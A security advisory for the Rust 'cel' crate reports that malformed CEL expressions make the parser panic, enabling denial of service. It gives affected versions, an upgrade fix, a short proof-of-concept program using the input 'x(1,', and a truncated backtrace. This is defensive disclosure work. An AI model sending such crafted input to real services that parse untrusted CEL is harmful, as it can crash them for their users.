GHSA-wxwx-9fh7-5mrw cel-rust May Panic During Parsing of Invalid CEL Expressions

• crates.io cel: >= 0.10.0, < 0.11.4 → fixed in 0.11.4

Summary Parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS). Remediation Upgrade to 0.11.4 ```toml [dependencies] cel = "0.11.4" ``` PoC ```rust use cel::{Context, Program}; fn main() { let program = Program::compile("x(1,").unwrap(); let context = Context::default(); let value = program.execute(&context).unwrap(); assert_eq!(value, true.into()); } ``` ``` $ RUST_BACKTRACE=1 cargo run --bin example-simple Compiling num-traits v0.2.19 Compiling aho-corasick v1.1.3 Compiling regex-syntax v0.8.5 Compiling arbitrary v1.4.1 Compiling serde v1.0.219 Compiling thiserror v1.0.69 Compiling regex-automata v0.4.9 Compiling chrono v0.4.41 Compiling regex v1.11.1 Compiling cel v0.10.0 (/home/john/git/cel-rust/cel) warning: `cel` (lib) generated 15 warnings Compiling example v0.1.0 (/home/john/git/cel-rust/example) Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s Running `target/debug/example-simple` thread 'main' panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9: internal error: entered unreachable code: should have been properly implemented by generated context when reachable stack backtrace: 0: __rustc::rust_begin_unwind 1: core::panicking::panic_fmt 2: antlr4rust::tree::Visitable::accept 3: >::accept 4: >::accept_dyn 5: >::visit_node 6: ::visit 7: ::visit_calc 8: ::visit_calc 9: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept 10: >::accept_dyn 11: >::visit_node 12: ::visit 13: ::visit_relation 14: ::visit_relation 15: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept 16: >::accept_dyn 17: >::visit_node 18: ::visit 19: ::visit_conditionalAnd 20: ::visit_conditionalAnd 21: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept 22: >::accept_dyn 23: >::visit_node 24: ::visit 25: ::visit_conditionalOr 26: ::visit_conditionalOr 27: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept 28: >::accept_dyn 29: >::visit_node 30: ::visit 31: ::visit_expr 32: ::visit_expr 33: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept 34: >::accept_dyn 35: >::visit_node 36: ::visit 37: ::visit_GlobalCall::{{closure}} 38: as core::iter::traits::iterator::Iterator>::next 39: alloc::vec::Vec::extend_desugared 40: as alloc::vec::spec_extend::SpecExtend>::spec_extend 41: as alloc::vec::spec_from_iter_nested::SpecFromIterNested>::from_iter 42: as alloc::vec::spec_from_iter::SpecFromIter>::from_iter 43: as core::iter::traits::collect::FromIterator>::from_iter 44: core::iter::traits::iterator::Iterator::collect 45: ::visit_GlobalCall 46: ::visit_GlobalCall 47: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept 48: >::accept 49: >::accept_dyn 50: >::visit_node 51: ::visit 52: ::visit_PrimaryExpr 53: ::visit_PrimaryExpr 54: cel::parser::gen::celparser:: for antlr4rust::parser_rule_context::BaseParserRuleContext>::accept 55: <cel::parser::gen::celparser::MemberContextAll as antlr4rust::tree::Visitab…